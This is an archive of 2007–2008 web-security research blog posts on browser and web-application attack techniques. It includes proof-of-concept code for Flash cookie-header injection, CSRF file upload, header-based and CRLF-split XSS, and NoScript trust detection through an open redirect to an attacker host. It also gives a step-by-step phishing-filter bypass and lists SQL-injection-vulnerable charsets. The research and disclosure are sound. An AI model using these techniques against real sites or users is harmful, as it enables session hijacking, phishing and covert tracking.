However before we jump to the conclusion that the vulnerability is only triggered when the user is logged out let us consider what it really means to be "logged in".

To be "logged in" is to send the web application a cookie header which gets parsed by the server/web application framework (e.g. Apache/PHP), and the parsed value is associated by the application with a valid session.

So conversely, when are you "logged out"? You're logged out whenever the above series of events (plus any other steps I missed) don't fall exactly into place.

So if we start with a user who is currently logged in; instead of logging them out completely via CSRF (or just waiting until they log themselves out), the trick here is to create an exploit which fires when the browser still holds the users cookies, but the application doesn't receive those cookies exactly.

The easiest and most generic place (I found) to attack this chain is to alter what the browser sends, and therefore the server receives.

Until the latest version of Flash (which is 9,0,115,0), the following code ran properly and let us tamper with the Cookie header:

class Attack { 
 static function main(mc) {
  var req:LoadVars = new LoadVars();
  req.addRequestHeader("Cookie", "PHPSESSID=junk");
  req.x = "y";
  req.send("http://site.com/page.php?variable=",
  "_self", "POST");
  // Note: The method must be POST, and must contain
  // POST data, otherwise headers don't get attached
 }
}

Unfortunately this does not work in IE, since IE seems to stop plugins from playing with the Cookie headers it sends.

Furthermore, this does not actually replace the Cookie header which the browser sends, rather it forces the browser to send an additional Cookie header which would make the relevant part of the HTTP request look something like to this:

Cookie: PHPSESSID=valid_id
Cookie: PHPSESSID=junk

Which PHP (and pretty much every other Server/web application framework) would reconcile into the single PHPSESSID value of:

valid_id, PHPSESSID=junk

Which is of course not a valid session token, and the application treats the user as logged out, and our XSS executes as if the user was logged out, however since the browser still has all the cookies, so we can either steal them or get the user to perform actions on our behalf, etc.

The less generic, but still working approach is to overwrite overwrite the cookies for your particular path only, either via an XSS from a related subdomain or by abusing a cross-site cookie bug in a browser (check my last post).

Understanding Cookie Security

2008-02-22T13:08:00.005+11:00

Whenever anyone decides to talk about XSS, one thing which is sure to pop up is the Same Origin Policy which XSS avoids by being reflected by the server. The Same Origin Policy is the security restriction which make sure that any pages trying to communicate via JavaScript are on the same protocol, domain and port. However this is misleading since it is not the weakest link that browsers have between domains.

The weakest link across domains is (for lack of a better term) the cookie policy which determines which domains can set cookies for which domains and which cookies each domain receives.

What's in a cookie

The cookies we use have several fields, including these ones I want to talk about:

Name

Value

Domain

Path

Expires

First, it must be noticed that the protocol restriction which is explicit in the Same Origin policy is here implicit, since cookies are an extension to HTTP, and so would only be sent for http, however the distinction between http and https is only enforced if the Secure flag is set.

Secondly, unlike the same origin policy, the cookie policy has no restrictions on ports, explicit or implicit.

And furthermore the domain check is not exact. From RFC 2109:

   Hosts names can be specified either as an IP address or a FQHN
  string.  Sometimes we compare one host name with another.  Host A's
  name domain-matches host B's if

  * both host names are IP addresses and their host name strings match
    exactly; or

  * both host names are FQDN strings and their host name strings match
    exactly; or

  * A is a FQDN string and has the form NB, where N is a non-empty name
    string, B has the form .B', and B' is a FQDN string.  (So, x.y.com
    domain-matches .y.com but not y.com.)

  Note that domain-match is not a commutative operation: a.b.c.com
  domain-matches .c.com, but not the reverse.

Effectively, this means that that any subdomains of a given domain can set, and is sent the cookies for that domain, i.e. news.google.com can set, and is sent the cookies for .google.com. Furthermore a second subdomain, e.g. mail.google.com can also set, and is sent the cookies for .google.com - This effectively means that by setting a cookie for google.com, news.google.com can force the user's browser to send a cookie to mail.google.com.

Resolving Conflicts

But what if two cookies of the same name should be sent to a given page, e.g. if there is a cookie called "user" set for mail.google.com and .google.com with different values, how does the browser decide which one to send?

RFC 2109 states that the cookie with the more specific path attribute must be sent first, however it does not define how to deal with two cookies which have the same path (e.g. /) but different domains. If such a conflict occurs then most (all?) browsers simply send the older cookie first.

This means that if we want to overwrite a cookie on mail.google.com from the subdomain news.google.com, and the cookie already exists, then we cannot over-write a cookie with the path value of / (or whatever the path value of the existing cookie is), but we can override it for every other path (up to the maximum number of cookies allowed per host; 50 in IE/Firefox 30 in Opera), i.e. if we pick 50 (or 30 if we want to target opera) paths on mail.google.com which encompass the directories and pages we want to overwrite the cookie for, we can simply set 50 /30 separate cookies which are all more specific than the existing cookie.

Technically the spec say that a.b.c.d cannot set a cookie for a.b.c.d or b.c.d only, none of the browsers enforce this since it breaks sites. Also, sites should not be able to set a cookie with a path attribute which would not apply to the current page, but since path boundaries are non-existant in browsers, no-one enforces this restriction either.

Cross-Site Cooking

When you think about the problem in the above scenario, you end up asking; can I use the same technique to send a cookie from news.com to mail.com? Or some similar scenario where you are going from one privately owned domain to another in a public registry. The RFC spec did foresee this to some degree and came up with the "one dot rule", i.e. that you can't set a cookie for a domain which does not have an embedded dot, e.g. you cannot set a cookie for .com or .net, etc.

What the spec did not foresee is the creation of public registries such as co.uk which do contain an embedded dot. And this is where the fun begins, since there is no easy solution for this, and the RFC has no standard solution, all the browsers pretty much did their own thing.

IE has the least interesting and most restrictive system; you cannot set a cookie for a two letter domain of the form ab.xy or (com|net|org|gov|edu).xy. Supposedly there is a key in the registry at HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\SpecialDomains which will let you whitelist a domain to allow ab.xy to be set and my registry has the value "lp. rg." for that key, but I haven't been able to set a cookie for ab.pl or ab.rg so go figure.

Opera on the other hand has perhaps the most interesting system of all the browser vendors. Opera does a DNS lookup on the domain you are trying to set a cookie for, and if it finds an A record (i.e. the domain has an IP address associated with it) then you can set a cookie for it. So if ab.xy resolves to an IP then you can set a cookie for it, however this breaks if the TLD resolves, as is the case for co.tv

Firefox 2 seems to have no protections. I was unable to find any protections in the source and was able to get foobar.co.uk to set cookies for .co.uk, so ummm, why does no-one ever mention this? I have no clue....

Firefox 3 on the other hand has a huge list of all the domains for which you cannot set cookies, which you can view online here. Hurray for blacklists.....

Exhausting Cookie Limits

Another interesting aspect of cookies is that there is a limit on how many cookies can be stored, not only per host, but in total, at least in Firefox and Opera. IE doesn't seem to have such a restriction.

In Firefox the global limit is 1000 cookies with 50 per host (1.evil.com and 2.evil.com are different hosts), and on Opera it is 65536 cookies with 30 per host. IE does not seem to have a global limit but does have a host limit of 50 cookies. When you reach the global limit, both browsers go with the RFC recommendation and start deleting cookies.

Both Firefox and Opera simply choose to delete the oldest cookies, and so by setting either 1000 or 65536 cookies depending on the browser, you effectively clear the user's cookie of anything another domain has set.

Conclusion

By either setting the path attribute to point to more specific pages we can effectively overwrite cookies from other domains that we can set cookies for, which includes all the co.xy domains. Also, if we are attacking Firefox or Opera we can simply delete the existing cookies if we need to force our cookie to be sent to a path for which a cookie is already set (e.g. /).

You may also be able to induce some weird states, if you somehow manage to only delete one cookie where an applicaiton expects two, or similar, but I doubt that would be very exploitable.

CSRF-ing File Upload Fields

2008-02-22T12:49:00.003+11:00

It seems I'm destined to have everything I sit on for a while patched or found and disclosed by someone else, *sigh*, I guess that's the way things go though.

Oh well, pdp has an interesting post over at gnucitizen.org about how to perform CSRF attacks against File upload fields using Flash: http://www.gnucitizen.org/blog/cross-site-file-upload-attacks/

Since there would be no point publishing this later, here is the method I came up with a while ago to CSRF File upload fields

<form method="post" action="http://kuza55.awardspace.com/files.php" enctype="multipart/form-data">
<textarea name='file"; filename="filename.ext
Content-Type: text/plain; '>Arbitrary File
Contents</textarea>
<input type="submit" value='Send "File"' />
</form>

It relies on a bug in Firefox/IE/Safari where the filenames are not escaped before being put into the POST body to set the filename parameter and content-type header.

Note: http://kuza55.awardspace.com/files.php is probably vulnerable to a tonne of things; I'm not too worried as it's on free hosting.

24c3 Presentation and Research

2008-01-19T16:03:00.000+11:00

I did a presentation entitled Unusual Web Bugs at 24c3 a few weeks ago, for which you can find slides and video for on the first link.

However, since some of the things I presented were some of my own research which I haven't posted anywhere, I'll write a couple of posts about that in the next couple of days. There isn't too much though, so there's no need to get your hopes up, and if you've seen the video, you already know it.

[EDIT]P.S. Any comments or criticisms about the presentation would be greatly appreciated[/EDIT]

Detecting Firefox Extensions Without Javascript

2007-10-12T13:49:00.000+10:00

ascii recently posted a piece on detecting whether Javascript execution is disabled due to it being disabled through Firefox or through NoScript, by abusing NoScript's redirection code here: http://www.ush.it/2007/10/11/detect-noscript-poc/

Which got me thinking about how else we could determine this - and though I haven't come up with that, I've come up with a method to detect Firefox extensions without Javascript. It may not work on all extensions, but it works with NoScript, and should work with any extension which has a CSS file in chrome with a single valid definition.

If we take a look at how Firefox resolves conflicts between duplicate definitions for the same class (and probably for the same id) then we notice that Firefox simply uses the latter definition.

Knowing this we can construct a page which looks like this:

<html>
<head>
<style>
  .noscript-error {
    background-image: url(no.php)
  }
</style>
<style>
  @import url(chrome://noscript/skin/browser.css);
</style>
</head>
<body>
  <div class="noscript-error">If noscript is NOT installed (and enabled as an extension) then Firefox will make a request for no.php, otherwise it won't.</div>
</body>
</html>

Whereby we simply have to have no.php set something in the session to say that the user does not have NoScript installed.

Note: Thanks to thornmaker for pointing out that no.php will also be requested by other browsers, so you probably want to do this only after you have determined the browser being used.

Also, ascii/sirdarckcat came up with another method for detecting when NoScript is installed, which does positive detection (i.e. youget a response when it is installed, rather than this negative detection), but I'll let them write about that.

Firefox gets httpOnly!

2007-07-19T16:49:00.000+10:00

I don't usually report on things here, but since no-one else seems to be saying something, I thought I should.

Anyway, Firefox has finally implemented httpOnly cookies, in 2.0.0.5, as you can see from their patch notes, and the following test case: http://kuza55.awardspace.com/httponly.php

Note: If httpOnly cookies is implemented, the alert box should be blank, if it is not implemented you should see an alert which says hidden=value

<?php

header("Set-Cookie: hidden=value; httpOnly");

?>
<html>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>

So hurrah for the Firefox developers who made this happen, no matter how long it took.

Exploiting reflected XSS vulnerabilities, where user input must come through HTTP Request Headers

2007-07-11T17:32:00.000+10:00

1.0 Introduction

Ever since Adobe patched Flash player to stop attackers spoofing certain headers[1] such as Referer, User-Agent, etc, it has been considered impossible to exploit XSS vulnerabilities where the user input is taken from a request header, e.g. when a website prints out what User-Agent a user's browser is sending, without escaping it. With the exception of the Referer header which we can control enough to exploit XSS attacks through it.

I want to showcase several ways in which we can still exploit these vulnerabilities.

2.0 The User_Agent header

If you look at how the User-Agent header is accessed in certain languages (namely PHP/Perl/Ruby/ColdFusion), you will see that the User-Agent header is not referenced as it is sent over the wire:

PHP:
$_SERVER['HTTP_USER_AGENT']

Perl:
$ENV{'HTTP_USER_AGENT'}

Ruby:
@request.user_agent

ColdFusion:
CGI.HTTP_USER_AGENT

As you can see, all of these languages use an underscore(_) instead of a hyphen(-) when accessing the data, so if we use Flash to send a User_Agent header, like this:

class Attack { 
  static function main(mc) {
    var req:LoadVars = new LoadVars();
  
    req.addRequestHeader("User_Agent", "<script>alert(1)</script>");
    req.send("http://localhost/XSS/server.php", "_self");
  }
}

(Can be easily compiled with mtasc)

So if any of those languages mentioned above insecurely print the User-Agent header, or any header with a hyphen in it, then no matter whether it is blocked or not, it can still be injected.

The three other languages which I checked where ASP, ASP.NET and Java, and this is how the variables are accessed:

ASP/ASP.NET:
Request.ServerVariables("HTTP_USER_AGENT")

Java:
request.getHeader("user-agent");

And while ASP/ASP.NET would seem to be vulnerable, it is a known fact to the MS developers[2] that headers with underscores cannot be accessed through the HTTP_ server variables, and so they have added more methods[2], which are not vulnerable.

Java does things neatly, and so it is not vulnerable.

Note: I made a mistake originally, and it seems that Perl apps are only vulnerable when testing through browsers other than IE.

Perl seems to use the last User_Agent or User-Agent header which you send it, and since the Flash plugin in IE appends our User_Agent header before IE's User-Agent header, Perl apps cannot be exploited when the user is Using IE.

3.0 (Known) Firefox & Safari Request Header Injection (Sometimes)

Stefano Di Paola published a paper[3], where he pointed out that IE7 and Firefox both facilitated request splitting when Digest authentication was used, Comcor also pointed out that Safari was vulnerable to the same issue.

IE7 was only vulnerable through the XMLHttpRequest object, which can only be invoked from the website which has Digest authentication, so it is useless to us in this case.

Furthermore request splitting is only useful when a user is behind a proxy (See Note at end of section), so if a user is not behind a proxy, then there is a point to spoofing headers rather than conducting a request splitting attack.

Anyway, what was not mentioned in the paper was that not only can the attack be invoked through an img tag, but it can also be invoked from an iframe tag, so here is a rather contrived PoC (based on Stefano's code):

digest.php:

<?php
  header('Set-Cookie: PHPSESSID=6555');
 
  if((int)intval($_COOKIE['PHPSESSID']) !== 6555){
    header('HTTP/1.0 401 Authorization Required');
    header('WWW-Authenticate: Digest realm="1@example.com", qop="auth,auth-int", nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093", opaque="5ccc069c403ebaf9f0171e9517f40e41"');
  } else {
    header("Set-Cookie: PHPSESSID=0");
  }
 
  print $_SERVER['HTTP_USER_AGENT'];
?>

attack.php:

<html>
<body>
  <iframe src="http://user%0aUser-Agent%3a%20%3Cscript%3Ealert%281%29%3C%2Fscript%3E%0aTest%3a%20:pp@localhost/XSS/digest.php"></iframe>
</body>
</html>

Note: Its not completely true that we can't do any request splitting without a proxy; we can still split requests and have a server with multiple vhosts interpret the second split response as a normal request for a vhost other than that which has the digest authentication. Thanks to Amit Klein for pointing this out.

4.0 Attacking Cache Proxies.

Warning: This attack is rather convoluted, and a bit impractical. *shrug*

With the advent of Anti-DNS Pinning being disclosed by Martin Johns[4] and improved on by Kanatoko Anvil[5][6][7], Kanatoko also found that Flash didn't Pin DNS[8], and who together found that Java's DNS record could be spoofed if used via LiveConnect[9].

This gives us an exceptionally powerful tool - an ability to create socket connections from a victim's computer.

So by utilising the low level socket abilities of Flash or Java we can create a socket connection to the user's caching proxy server if they have one. From there we can inject requests where we provide an XSS payload in the appropriate HTTP request header, which the proxy will sometimes cache, so when we redirect the user to that page they will be served the XSSed version.

This works because cache servers are often setup to cache html pages, and they are very sometimes setup so the only thing which is matches is the URL, rather than any headers or cookies.

Here is a step-by-step explanation:

1. First of all we need to know the IP address and port the users to access their proxy - sadly this part is rather browser specific.

On IE we can use Java[10][11] to detect the proxy settings in IE (I know nothing about Java, other than the fact that its possible, and there are known methods), or by using Javascript[11] in Firefox, by reading the Firefox settings network.proxy.http and network.proxy.http_port.

2. The next step is to open a socket to the proxy server, Anti-DNS Pinning attacks are already well documented in [4][5][6][7][8][9].

3. Send a request to the caching proxy with an XSS payload in the appropriate HTTP headers on the socket you have established.

4. Send the user to the cached page. This can be improved by using Flash to send a "Cache-Control: only-if-cached" header so that the proxy is more likely to serve the XSS-ed page.

Note: I don't have any code to test this, but from when I setup squid to cache html pages, creating a socket to the page and injecting into headers, then viewing the same page in the browser worked, and so I see no reason why this shouldn't. And I have personally seen live proxy servers setup to cache html pages, and where these attacks are possible, so while I'm not sure how common such setups are, they definitely exist.

5.0 References

[1] "Forging HTTP request headers with Flash", Amit Klein, July 2006
http://www.securityfocus.com/archive/1/441014

[2] "HOWTO: Retrieve Request Headers using ISAPI, ASP, and ASP.Net", David Wang, April 2006
http://blogs.msdn.com/david.wang/archive/2006/04/20/HOWTO-Retrieve-Request-Headers-using-ISAPI-ASP-and-ASP-Net.aspx

[3] "IE 7 and Firefox Browsers Digest Authentication Request Splitting", Stafano Di Paolo, April 2007
http://www.wisec.it/vulns.php?id=11

[4] "(somewhat) breaking the same-origin policy by undermining dns-pinning", Martin Johns, August 2006
http://shampoo.antville.org/stories/1451301/

[5] "Stealing Information Using Anti-DNS Pinning : Online Demonstration", Kanatoko Anvil, December 2006
http://www.jumperz.net/index.php?i=2&a=1&b=7

[6] "Re: DNS Spoofing/Pinning", Kanatoko Anvil, December 2006
http://sla.ckers.org/forum/read.php?6,4511,4539#msg-4539

[7] "Anti-DNS Pinning + Socket in FLASH", Kanatoko Anvil, February 2007
http://www.jumperz.net/index.php?i=2&a=3&b=3

[8] "Re: DNS Spoofing/Pinning", Kanatoko Anvil, February 2007
http://sla.ckers.org/forum/read.php?6,4511#msg-6253

[9] "Using Java in anti DNS-pinning attacks (Firefox and Opera)", Martin Johns & Kanatoko Anvil, February 2007
http://shampoo.antville.org/stories/1566124/

[10] "How to detect Proxy Settings for Internet Connection"
http://www.java-tips.org/java.net/how-to-detect-proxy-settings-for-internet-connection.html

[11] "RE: Auto-detecting proxy settings in a standalone Java app"
http://www.mail-archive.com/commons-httpclient-dev@jakarta.apache.org/msg07568.html

[12] "Read Firefox Settings (PoC)", Sergey Vzloman, May 2007
http://ha.ckers.org/blog/20070516/read-firefox-settings-poc/

Universal Phishing Filter Bypass

2007-06-30T17:22:00.000+10:00

Well, I tried to do responsible disclosure, so I could at least claim I care about how secure users are (and get my name in some patch notes, :p), but according to Microsoft "The Internet Explorer phishing filter is not a security feature, so this is not something MSRC would track.", Mozilla haven't replied (email sent early Wednesday), and Opera haven't replied either (bug report added early Thursday), though I didn't give opera much time, I really don't think its a big issue because its not even on by default in Opera.

To better understand how the following idea can actually be utilised, and why it matters, you need to understand the point of the phishing filter. When a phishing site is first created and sent to users, the phishing filter does not know about it - the phishing filter is updated based on a blacklist of URLs which are manually entered.

The reason,the filter works is because while a phisher could encode the address to stop it being detected, or move the server, etc, etc, but all the emails they sent still have the same static blocked link. And this is the whole reason the filter works - all the emails have the same link which is blocked. This doesn't have to be the case, but I'll write something about that some other day.

To avoid this, one can do the following:

Send out phishing emails as one normally would, but instead of pointing to the actual phishing page, point to some central server, which can send your arbitrary response headers, or is under your complete control.

The page the user is sent to, actually redirects the user to an actual phishing page, either on the same server or another.

There is a loophole in the phishing filters where if a page is blocked, but instead of being loaded, it redirects the user, then the phishing warning is not displayed (the phishing warning seems to do checks after the page has been loaded, or at least the html code has).

What this means is that, the moment a phishing URL is added to the list, the phisher can easily just make it redirect elsewhere (or just encode it, and redirect to the encoded URL to bypass the filter), and viola, the link in the phishing email is now working again.

And considering all the filters do direct URL comparisons, and the redirects do not have to be static (i.e. you could use mod_rewrite to make random URLs show the same phishing page), the way current phishing filters are set up you could avoid the indefinitely.

If you want to confirm this, here are the steps I sent to MS/Mozilla/Opera on how to verify it:

1. Find a blocked URL.
- I got http://ospr.110mb.com/yahoo/ from phishtank

2. Point the hosts file entry for the domain to an IP.
- I pointed ospr.110mb.com to 127.0.0.1

3. Create a directory/page on your server in the same place as the phishing page.
- I created /yahoo/index.php on my localhost

4. Confirm that your page is being blocked.
- I directed my browser to http://ospr.110mb.com/yahoo/ as usual, and it was blocked in all browsers

5. Clear the browser cache/restart the browser.
- IE and Firefox need a restart, Opera needs you to manually clear the cache

6. Edit the file to redirect to another file on the site which is not blocked.
- I created /yahoo/login.php and then used a Location redirect in index.php to redirect myself there:

header ("Location: http://ospr.110mb.com/yahoo/login.php");
?>

7. Visit the original phishing page again.
- I directed my browser to http://ospr.110mb.com/yahoo/ as usual, and in both browsers, no message was shown to the user, and I was successfully redirected, even though the original page was a known phishing URL in both systems.

Note: The need to clear the cache/restart the browser would not impact an attack, because the redirecting page would never be filtered and cached in the first place, it is merely a symptom of checking that the URL is properly blocked. So if you can trust me that the URL is blocked, you can simply ignore step 4.

[My]SQL Injection Encoding Attacks

2007-06-27T16:41:00.000+10:00

Early last year Chris Shiflett and Ilia Alshanetsky published some posts about how it is possible to conduct SQL Injection attacks against sites which escape user input, but either use an encoding unaware escaping function (e.g. addslashes()), or do not inform their escaping function about the issue.

I'm not going to re-hash their posts, so you should go read them now, if you haven't done so before.

But who actually does either of those things? Well, Google Code search reports approximately 54,300 results for applications using addslashes() and approximately 100 applications which have the words "SET CHARACTER SET" in their code.

Not particularly many of the latter, but the very first result is the rather popular phpMyAdmin project, so its not a completely unused query.

Anyway, since I hadn't seen any research on which character sets were vulnerable (and which characters to use), I wrote a small fuzzer to test all the character sets which MySQL supports (other than UCS-2), for several different encoding attacks, though only the ones described by Chris and Ilia yielded any results. Here are the character sets vulnerable, and the first character of the multi-byte sequence where \ is the second character:

big5, [A1-F9]

sjis, [81-9F], [E0-FC]

gbk, [81-FE]

cp932, [81-9F], [E0-FC]

I didn't successfully test ucs2 because ucs2 is a fixed width 2 byte character encoding, which will not execute queries passed in standard ascii, and so it would be impossible to get a webapp working if you set your connections to ucs2 but didn't convert all your queries, etc, so a configuration issue like that would be instantly noticed, and if you were using an encoding unaware function, then it would definitely be vulnerable, since all byte sequences are two bytes.

Anyway, if anyone is interested, I uploaded the fuzzer here: http://mihd.net/pwe0f9. As you will notice, I ripped the code which Ilia used to illustrate the vulnerability for GBK, so the two pieces look very similar. Its also not very well written, but it worked and got the results for me.

Notes: Part 2 of the fuzzer is trying to see if its possible to have a double or single quote as the second character in a multi-byte sequence, and Part 3 is trying to see if its possible to use a quote as the first character.

Also, this is obviously MySQL specific, the reason for this is because (as far as I could find out) MySQL is the only RDBMS which allows you to set the connection encoding through a query, all the other require configuration changes, and while addslashes() issues are applicable to all RDBMS's, most applications these days use mysql_real_escape_string().

Building Secure Single Sign On Systems and Google

2007-06-02T19:20:00.000+10:00

After seeing several posts which spelled doom and gloom if there was ever found an XSS hole in any of Google's because they used a Single Sign On (SSO) System I started trying to think of a method in which secure sign on could be securely implemented, where all the SSO server side code is trusted, e.g. when you own all the websites, and here's what I came up with.

Idea 1: Remote Javascript

The first thing that came into my head was using Remote Javascript files, to give any SSO site (site specific of course), which the server side back-end could then use to query a database, to check that the specific token was valid for their site, and if it was, they would be issued another site specific login token, which would be placed in a user's cookie, and session management would resume as usual.

The problem with this is, of course, making sure that no other sites can retrieve this login token by including the same remote javascript in their page.

Of course, there are several things you could do to prevent this:

You could do referer checks. While we have seen methods to spoof or strip referers, there have been no methods to my knowledge to date which can do this when you're requesting script elements. You could technically spoof the header normally, and try to poison the cache, but as long as the appropriate cache headers are sent, then this should not be possible.

But this leaves any users who have referer stripping firewalls in danger, and this is unacceptable.

You could use CSRF style protections. But this faces the problem of what you can actually tie the token to. You could tie the token to the IP, but as long as Anti-DNS Pinning works, this can be attacked and broken, so this is not a valid solution. And Furthermore doing such checks would be rather expensive in terms of operations needing to be performed, since this is being done between separate servers/sites.

Which essentially means that while we can make this system secure for most people, there are some we would not secure, and it is therefore not viable.

Idea 2: Remote iframes

I kept thinking about other ways you could send data to a specific site only and (from my attempts to break SessionSafe) I remembered that we could use iframes.

If an iframe sets the window.top.location.href property, the page which loaded the iframe cannot read that value, and even if they could it would be considered a browser bug and fixed. So to transfer data to our domain and our domain only we would do the following:

Write an iframe to the page which looked like this:
<iframe width="300" height="150" src="http://ssodomain.com/login.php?site=Service"></iframe>

And on http://ssodomain.com/login.php the following would be done:

If the user is not logged in display a login form.

If the user is logged in then write the following javasript tot he page:

window.top.location = 'http://companyownedwebsite.com/verify.php?auth=123456';

Where companyownedwebsite.com was determined by a switch statement on the site variable, so that only a valid site could be redirected to, and so the SSO service knew which particular value to parse in auth variable.

The other mechanisms are the same as in Idea 1. Furthermore this protects you from Programmatic password theft, since the password is entered on a domain which has nothing other than a login form.

Google's Approach

After thinking of Idea 2, I realised that this is what google does; on most of their services anyway. The one service (at which I initially looked to find out how Google implemented SSO, *doh*) which doesn't use the exact same method as above is Gmail. What it turns out Gmail does (which I somehow missed) is, instead of using an iframes, they redirect gmail.com to the equivalent of http://ssodomain.com/login.php?site=Gmail where the whole login page is displayed, and the form is submitted to that same domain.

So what does this mean?

I came to the same idea independently of Google (which to me says that there must be some merit to it, sine I didn't just see the idea and say; hey, this looks good), and it should in theory and practice be perfectly sound as long as a website cannot tell determine the URL to which the iframe/a page loaded in an iframe is being redirected to, and there are no XSS holes in the SSO domain.

So Google's SSO should be secure in the face of an XSS hole?

Well, no; Google messed up; they made their SSO domain www.google.com; the same domain as their main site, which means it used used for more central purposes (central in terms of design, rather than importance). This is bad, because there should be nothing on the SSO domain other than SSO forms, because otherwise one may find XSS holes in the SSO domain, and that breaks the whole system (bar things like IP locks tying the sessions together, but with Anti-DNS Pinning, this can again be broken)

So what are you trying to say

What I'm trying to say is that all XSS holes which are not in www.google.com (and yes, the www is important) will not break SSO, but any XSS hole which is in that domain, has the potential to.

Oh, and Google isn't completely hopeless when it comes to security - they just have many more developers working for them, and many more web facing projects than most organisations.

Tracking users with Cache Data

2007-05-19T20:09:00.000+10:00

There are several methods that browsers and web servers use to speed up browsing, so that less data needs to be transfered over the network, two of these methods are the ETag/If-None-Match and Last-Modified/If-Modified-Since headers. The premise is fairly simple for both.

With the ETag/If-None-Match headers, the server simply sends an ETag header for a resource the first time it is requested, and then sends the page - the next time the browser needs the same resource it sends an If-None-Match header, and sends the parameter the server returned in the ETag response header, as the parameter for the If-None-Match request header.

If the server responds with a 304 Not Modified status, and does not return a message body (it MUST NOT return a message body), then the ETag is preserved in the cache, and the browser will keep sending the same If-None-Match header until the cache is deleted, as long as it keeps getting 304 replies.

The system is identical, just with different header names for the Last-Modified/If-Modified-Since headers.

Sadly though, the ETag/if-None-Match headers are only supported by Firefox, whereas the Last-Modified/If-Modified-Since headers are supported in Firefox and IE - to my knowledge (through my testing) none of these headers are supported in Opera.

As such it would be better to use the Last-Modified/If-Modified-Since headers.

All you need to do now is embed a tracking image in each page, and send a unique date each time no If-Modified-Since header is sent, and a blank 304 response at all other times.

The biggest problem here though is that you do need a separate http request, and as such the only way to associate requests is per IP and time frame, e.g. any request made <=10 seconds before the request for a particular date/etag from, the same IP, is the same user. You could also try using the Referer header, but the odds of someone denying cookies, but sending Referers is very low, IMO.

You could also use Javascript instead of images, and then you would be able to link requests more easily, but it would require you make an additional request from that page with the URL in the query string and tracking id, or similar.

You would still need to use one of these techniques though, because you need to serve different pieces of javascript to different people, and have that piece of javascript cached as long as possible.

But even given this, this allows you a method to track users who deny cookies between browsing sessions - for tighter correlation during browsing sessions you could use Jeremiah Grossman's Basic Auth Tracking

P.S. This is stored with the other cache data, so this will only work as long as the image/resource is cached, and clearing the ache manually (or turning the cache off) will stop this technique.

Determining sites trusted by NoScript

2007-05-16T17:00:00.000+10:00

With the (relatively) new XSS filter added to NoScript it has become possible to determine whether a site is trusted or untrusted by seeing if NoScript decides to take action - of course this is not 100% accurate, since all these features can be turned off, but if they are turned off then you can execute some attacks anyway.

Open Redirect

The easiest method to determine whether a site is trusted is to use an open redirect, because you have control over where a site is sending a user, and as such can use the following two pieces of code to check whether google.com.au is trusted:

detect.php:

<html>
<body>
<iframe src="http://www.google.com.au/local_url?q=http://www.evil.com/XSS/query.php%3FServer_Generated_ID=%3Cscript%3E%26"></iframe>
</body>
</html>

query.php:

<?php
if (strpos($_SERVER['QUERY_STRING'], "=") !== FALSE) {
 print "Untrusted!";
} else {
 print "Trusted!<br />\n";
 print "For ID: ".$_SERVER['QUERY_STRING'];
}

?>

The server generated id is not even actually necessary since you can just store the info in a PHP session, but it is possible to 'attack' people who even have cookies disabled.

Non-Open Redirects

Now, a much more difficult task is attacking non-open redirects. Two things which limit this are:

We cannot use Javascript to determine where you've been.

We cannot actually pass a parameter to where we will be redirected.

The solution to the first problem lies here: http://ha.ckers.org/blog/20070228/steal-browser-history-without-javascript/

The solution to the second problem is a bit trickier, and relies on the 'usual' implementation of these systems, rather than a versatile technique.

Most systems which perform closed redirection have URLs which look like:
http://www.site.com/redir.php?id=123

Where the id value is first run through intval(), then put directly into an SQL statement.

Now, we can exploit this fact by sending people to a URL like this:
http://www.site.com/closedredir.php?id=123%26id=%3Cscript%3E

Whereby if the www.site.com is trusted then we will not be redirected anywhere because the URL will be filtered to look like this:
http://www.site.com/redir.php?id=%3F123%26id%3D

And since the id does not begin with a digit, the value of the variable, once put through intval() is 0, and either no redirect, or a completely different redirect will be done.

If the site is untrusted though, then the URL will be unfiltered, and when the id is run through intval, it will evaluate to 123, and so the user will be redirected to the usual place.

Controlled Off-Site Resources

If you can control any off-site resources such as images which a site embeds, then simply putting an ID in one parameter, and <script> in another, will cause the referer to be different on Trusted and Untrusted sites.

Generic Method

The methods above though all rely on a webapp having some kind of specific web feature, and while they're interesting (and that is the reason I included them), a generic method will prove far more useful.

And this generic method is extremely simple; just use the non-javascript history hack to find out what exact URLs a person has been to.

If you send a user to:
http://www.site.com/page.php?param=%3Ctest%3E

And the history hack says the user has been to
http://www.site.com/page.php?param=%20test%20

Then the site is obviously trusted.

Uses

These techniques can be used to either gather data about the user ala the Master Recon Tool (Mr. T) or the Black Dragon Project, or more importantly aid an attacker in bypassing NoScript's filters by finding which sites are trusted, and then either using those sites as a means of propagation (i.e. Emailing/PM-ing a user a link), or by sending a user to a persistent or DOM Based XSS on one of those sites.

Final notes

Since we do not have Javascript we need to be a bit tricky on how to actually use the info. The cleanest method is if you have a persistent or DOM based XSS in another site, then instead of simply sending data back to your server to be analysed you can have the CSS only History hack render an iframe which loads an iframe from your server, which redirects the user to the persistent or DOM based XSS in the trusted site.

The other method is having a iframe which refreshes every 5 seconds, which sends a request to the server, and the server will then try to aggregate all the data its collected, and act on it.

Why would you want to do this rather than sending the user to every single persistent and DOM based XSS condition you have?

Beats me; I just thought this was interesting.....

Creating sockets to sites which run Google Analytics javascript without Anti-DNS Pinning

2007-04-28T21:21:00.000+10:00

This is a short post, but I thought this warranted its own post, so that the message is not lost.

One of the repercussions of this post: http://kuza55.blogspot.com/2007/04/breaking-same-origin-policy-in-upwards.html is that any site which references the document.location property (e.g. any site running Google Analytics javascript) can be referenced by any subdomain.

And top level domains do not have to have any relation to their subdomain, so a DNS setup where these resolutions occur:

attack.target.evil.com -> web server controlled by evil.com
target.evil.com -> victim web server running Google Analytics (or other document.location referencing code)

Is possible. Now, since attack.target.evil.com can communicate with target.evil.com [1] as par my last post it can easily just insert a java applet (or with Firefox, javascript which uses the Java libraries) into target.evil.com, which will be able to create sockets to the web server's IP.

Another way the DNS->IP resolution scheme of subdomains not needing to be related can be abused is by making target.evil.com resolve to the IP of a service like myspace, which has a "domain generalisation" scheme, which will set the document.domain property to the second level domain, and so will resolve to evil.com, and evil.com can then create sockets to myspace.com.

And while, at the present this is a fairly pointless attack since we can still use Anti-DNS Pinning attacks, those problems may be solved before this.

[1] Note that all these attacks will only work if the hosts accept wildcard hostnames, and so the google analytics code is returned even if the hostname is incorrect.

Breaking the same origin policy in an upwards direction (IE & Firefox Only)

2007-04-27T17:43:00.000+10:00

